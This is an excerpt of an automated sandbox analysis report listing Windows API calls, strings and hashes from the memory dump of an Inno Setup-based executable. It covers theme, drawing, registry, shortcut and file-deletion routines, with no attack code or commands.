                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 0044B835
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 0044B847
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 0044B859
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 0044B86B
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 0044B87D
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 0044B88F
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 0044B8A1
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 0044B8B3
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 0044B8C5
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 0044B8D7
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 0044B8E9
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 0044B8FB
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 0044B90D
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0044B91F
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 0044B931
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 0044B943
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 0044B955
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 0044B967
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 0044B979
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 0044B98B
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 0044B99D
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 0044B9AF
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 0044B9C1
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 0044B9D3
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$LibraryLoadVersion
                                                                                                                                                                                                                                      • String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
                                                                                                                                                                                                                                      • API String ID: 1968650500-2910565190
                                                                                                                                                                                                                                      • Opcode ID: 4248c38413e99d9464b79edb7fe9b1fdc4fa56b35b8262d24df0eec612bb70b6
                                                                                                                                                                                                                                      • Instruction ID: e93aa9000a3b975727f71862fff1c9a8a52c50bca2d3d110ef64c9f3a3b13d35
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4248c38413e99d9464b79edb7fe9b1fdc4fa56b35b8262d24df0eec612bb70b6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D391A8F0A40B11ABEB00EFB5AD96A2A3BA8EB15714310067BB454DF295D778DC108FDD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0041CA40
                                                                                                                                                                                                                                      • CreateCompatibleDC.GDI32(?), ref: 0041CA4C
                                                                                                                                                                                                                                      • CreateBitmap.GDI32(0041A944,?,00000001,00000001,00000000), ref: 0041CA70
                                                                                                                                                                                                                                      • CreateCompatibleBitmap.GDI32(?,0041A944,?), ref: 0041CA80
                                                                                                                                                                                                                                      • SelectObject.GDI32(0041CE3C,00000000), ref: 0041CA9B
                                                                                                                                                                                                                                      • FillRect.USER32(0041CE3C,?,?), ref: 0041CAD6
                                                                                                                                                                                                                                      • SetTextColor.GDI32(0041CE3C,00000000), ref: 0041CAEB
                                                                                                                                                                                                                                      • SetBkColor.GDI32(0041CE3C,00000000), ref: 0041CB02
                                                                                                                                                                                                                                      • PatBlt.GDI32(0041CE3C,00000000,00000000,0041A944,?,00FF0062), ref: 0041CB18
                                                                                                                                                                                                                                      • CreateCompatibleDC.GDI32(?), ref: 0041CB2B
                                                                                                                                                                                                                                      • SelectObject.GDI32(00000000,00000000), ref: 0041CB5C
                                                                                                                                                                                                                                      • SelectPalette.GDI32(00000000,00000000,00000001), ref: 0041CB74
                                                                                                                                                                                                                                      • RealizePalette.GDI32(00000000), ref: 0041CB7D
                                                                                                                                                                                                                                      • SelectPalette.GDI32(0041CE3C,00000000,00000001), ref: 0041CB8C
                                                                                                                                                                                                                                      • RealizePalette.GDI32(0041CE3C), ref: 0041CB95
                                                                                                                                                                                                                                      • SetTextColor.GDI32(00000000,00000000), ref: 0041CBAE
                                                                                                                                                                                                                                      • SetBkColor.GDI32(00000000,00000000), ref: 0041CBC5
                                                                                                                                                                                                                                      • BitBlt.GDI32(0041CE3C,00000000,00000000,0041A944,?,00000000,00000000,00000000,00CC0020), ref: 0041CBE1
                                                                                                                                                                                                                                      • SelectObject.GDI32(00000000,?), ref: 0041CBEE
                                                                                                                                                                                                                                      • DeleteDC.GDI32(00000000), ref: 0041CC04
                                                                                                                                                                                                                                        • Part of subcall function 0041A058: GetSysColor.USER32(?), ref: 0041A062
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ColorSelect$CreatePalette$CompatibleObject$BitmapRealizeText$DeleteFillRect
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 269503290-0
                                                                                                                                                                                                                                      • Opcode ID: 5610cf759d7025b655e2849d1764ebaab2a311e46506ba216d1aa554289a1213
                                                                                                                                                                                                                                      • Instruction ID: 91afdf38925dfcc0a19aef53af63d8b93a06df8cfedaf367688fa0d34ebdb442
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5610cf759d7025b655e2849d1764ebaab2a311e46506ba216d1aa554289a1213
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 01610071A44648AFDF10EBE9DC86FDFB7B8EB48704F10446AB504E7281D67CA940CB68
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • ShowWindow.USER32(?,00000005,00000000,004982D8,?,?,00000000,?,00000000,00000000,?,0049868F,00000000,00498699,?,00000000), ref: 00497FC3
                                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,004982D8,?,?,00000000,?,00000000,00000000,?,0049868F,00000000), ref: 00497FD6
                                                                                                                                                                                                                                      • ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,004982D8,?,?,00000000,?,00000000,00000000), ref: 00497FE6
                                                                                                                                                                                                                                      • MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00498007
                                                                                                                                                                                                                                      • ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,004982D8,?,?,00000000,?,00000000), ref: 00498017
                                                                                                                                                                                                                                        • Part of subcall function 0042D44C: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4DA,?,?,?,00000001,?,0045607E,00000000,004560E6), ref: 0042D481
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ShowWindow$CreateFileModuleMultipleMutexNameObjectsWait
                                                                                                                                                                                                                                      • String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
                                                                                                                                                                                                                                      • API String ID: 2000705611-3672972446
                                                                                                                                                                                                                                      • Opcode ID: acab9580149f75eae7839736e9631fcca2424d0ecbbcfe327cba637ac9836c34
                                                                                                                                                                                                                                      • Instruction ID: 42a01cccdaaec234e2c43ae8d099a56eb68d33786198a0d03eeaed72e33259cf
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: acab9580149f75eae7839736e9631fcca2424d0ecbbcfe327cba637ac9836c34
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3991B530A046049FDF11EBA9D852BAE7BA4EB4A704F5144BBF500AB682DE7D9C05CB1D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,0045A7E4,?,?,?,?,?,00000006,?,00000000,004973CD,?,00000000,00497470), ref: 0045A696
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast
                                                                                                                                                                                                                                      • String ID: .chm$.chw$.fts$.gid$.hlp$.lnk$Deleting file: %s$Failed to delete the file; it may be in use (%d).$Failed to strip read-only attribute.$Stripped read-only attribute.$The file appears to be in use (%d). Will delete on restart.
                                                                                                                                                                                                                                      • API String ID: 1452528299-3112430753
                                                                                                                                                                                                                                      • Opcode ID: 7b4c67a2979538d05da33b0281ac62305e71b724ae5420e86ae83fd1cfea1fbc
                                                                                                                                                                                                                                      • Instruction ID: 3d84b67d4b55823e814de2816039390ec2683d954eb16ce362ee678782389cb9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7b4c67a2979538d05da33b0281ac62305e71b724ae5420e86ae83fd1cfea1fbc
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9A719030B002485BCB10EB698891BAE77B59F48719F54856BFC01AB383DA7CDE1D875E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetVersion.KERNEL32 ref: 0045CA2A
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(advapi32.dll), ref: 0045CA4A
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetNamedSecurityInfoW), ref: 0045CA57
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SetNamedSecurityInfoW), ref: 0045CA64
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SetEntriesInAclW), ref: 0045CA72
                                                                                                                                                                                                                                        • Part of subcall function 0045C918: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0045C9B7,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045C991
                                                                                                                                                                                                                                      • AllocateAndInitializeSid.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045CC65,?,?,00000000), ref: 0045CB2B
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045CC65,?,?,00000000), ref: 0045CB34
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$AllocateByteCharErrorHandleInitializeLastModuleMultiVersionWide
                                                                                                                                                                                                                                      • String ID: GetNamedSecurityInfoW$SetEntriesInAclW$SetNamedSecurityInfoW$W$advapi32.dll
                                                                                                                                                                                                                                      • API String ID: 59345061-4263478283
                                                                                                                                                                                                                                      • Opcode ID: 551fcf749c72914a38171c600357803e83c81dab8682d1b21c615cfe1b656b91
                                                                                                                                                                                                                                      • Instruction ID: 9267600119b74d5c47b6def8195b3f0e3f25b5cd065e112b6ecb42d85fa503a5
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 551fcf749c72914a38171c600357803e83c81dab8682d1b21c615cfe1b656b91
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B1518571900708EFDB11DFA9C885BAEBBB8EB4C311F14806AF915B7241C6799944CFA9
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CoCreateInstance.OLE32(00499A74,00000000,00000001,00499774,?,00000000,004568A1), ref: 004565A6
                                                                                                                                                                                                                                      • CoCreateInstance.OLE32(00499764,00000000,00000001,00499774,?,00000000,004568A1), ref: 004565CC
                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(?), ref: 00456759
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • IShellLink::QueryInterface(IID_IPropertyStore), xrefs: 004566BB
                                                                                                                                                                                                                                      • IPropertyStore::SetValue(PKEY_AppUserModel_ID), xrefs: 0045673E
                                                                                                                                                                                                                                      • IShellLink::QueryInterface(IID_IPersistFile), xrefs: 004567CA
                                                                                                                                                                                                                                      • IPropertyStore::SetValue(PKEY_AppUserModel_PreventPinning), xrefs: 004566EF
                                                                                                                                                                                                                                      • IPersistFile::Save, xrefs: 00456828
                                                                                                                                                                                                                                      • CoCreateInstance, xrefs: 004565D7
                                                                                                                                                                                                                                      • IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall), xrefs: 00456790
                                                                                                                                                                                                                                      • IPropertyStore::Commit, xrefs: 004567A9
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateInstance$FreeString
                                                                                                                                                                                                                                      • String ID: CoCreateInstance$IPersistFile::Save$IPropertyStore::Commit$IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall)$IPropertyStore::SetValue(PKEY_AppUserModel_ID)$IPropertyStore::SetValue(PKEY_AppUserModel_PreventPinning)$IShellLink::QueryInterface(IID_IPersistFile)$IShellLink::QueryInterface(IID_IPropertyStore)
                                                                                                                                                                                                                                      • API String ID: 308859552-3936712486
                                                                                                                                                                                                                                      • Opcode ID: c517585abefeef5e4aecaacf0f1214f05652fa0e4087abcedef047af4287d9d3
                                                                                                                                                                                                                                      • Instruction ID: 8ea5dda7a560ded85d07eb9974ca036a449deae5e5e286e87ef099e1c3d3d79c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c517585abefeef5e4aecaacf0f1214f05652fa0e4087abcedef047af4287d9d3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 70A12171A00105AFDB50DFA9C885BAE77F8EF09306F55406AF904E7262DB38DD48CB69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateCompatibleDC.GDI32(00000000), ref: 0041B3C3
                                                                                                                                                                                                                                      • CreateCompatibleDC.GDI32(00000000), ref: 0041B3CD
                                                                                                                                                                                                                                      • GetObjectA.GDI32(?,00000018,00000004), ref: 0041B3DF
                                                                                                                                                                                                                                      • CreateBitmap.GDI32(0000000B,?,00000001,00000001,00000000), ref: 0041B3F6
                                                                                                                                                                                                                                      • GetDC.USER32(00000000), ref: 0041B402
                                                                                                                                                                                                                                      • CreateCompatibleBitmap.GDI32(00000000,0000000B,?), ref: 0041B42F
                                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 0041B455
                                                                                                                                                                                                                                      • SelectObject.GDI32(00000000,?), ref: 0041B470
                                                                                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 0041B47F
                                                                                                                                                                                                                                      • StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B4AB
                                                                                                                                                                                                                                      • SelectObject.GDI32(00000000,00000000), ref: 0041B4B9
                                                                                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 0041B4C7
                                                                                                                                                                                                                                      • DeleteDC.GDI32(00000000), ref: 0041B4D0
                                                                                                                                                                                                                                      • DeleteDC.GDI32(?), ref: 0041B4D9
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Object$CreateSelect$Compatible$BitmapDelete$ReleaseStretch
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 644427674-0
                                                                                                                                                                                                                                      • Opcode ID: 9212dc48eb065078ffd6e64a0fe4b3e7e755c3ed7e1f96497366cc94fc87ddf9
                                                                                                                                                                                                                                      • Instruction ID: 0f3e5998203d07172116f12fa3fedaa120d09cd030f2870c51d139f455c41937
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9212dc48eb065078ffd6e64a0fe4b3e7e755c3ed7e1f96497366cc94fc87ddf9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E941AD71E44619AFDB10DAE9C846FEFB7BCEB08704F104466B614F7281D6786D408BA8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828
                                                                                                                                                                                                                                      • WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00472B74
                                                                                                                                                                                                                                      • SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 00472C7B
                                                                                                                                                                                                                                      • SHChangeNotify.SHELL32(00000002,00000001,00000000,00000000), ref: 00472C91
                                                                                                                                                                                                                                      • SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 00472CB6
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ChangeNotify$FullNamePathPrivateProfileStringWrite
                                                                                                                                                                                                                                      • String ID: .lnk$.pif$.url$Desktop.ini$Filename: %s$target.lnk${group}\
                                                                                                                                                                                                                                      • API String ID: 971782779-3668018701
                                                                                                                                                                                                                                      • Opcode ID: f320f92f694209bf3d87b242267b6161fd66681942871ca2a5a7eb633dffa5fc
                                                                                                                                                                                                                                      • Instruction ID: 488d38facc3b5b4348deb9d7b7a0b4180c51b54c04cb4348039bcbbbcac6ad39
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f320f92f694209bf3d87b242267b6161fd66681942871ca2a5a7eb633dffa5fc
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 62D13574A001499FDB11EFA9D981BDDBBF5AF08304F50806AF904B7392C778AE45CB69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38
                                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(0045A9BA,00000000,00000000,?,00000000,?,00000000,00454B0D,?,0045A9BA,00000003,00000000,00000000,00454B44), ref: 0045498D
                                                                                                                                                                                                                                        • Part of subcall function 0042E8C8: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7
                                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(0045A9BA,00000000,00000000,00000000,?,00000004,00000000,00454A57,?,0045A9BA,00000000,00000000,?,00000000,?,00000000), ref: 00454A11
                                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(0045A9BA,00000000,00000000,00000000,?,00000004,00000000,00454A57,?,0045A9BA,00000000,00000000,?,00000000,?,00000000), ref: 00454A40
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • , xrefs: 004548FE
                                                                                                                                                                                                                                      • RegOpenKeyEx, xrefs: 00454910
                                                                                                                                                                                                                                      • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004548AB
                                                                                                                                                                                                                                      • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004548E4
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
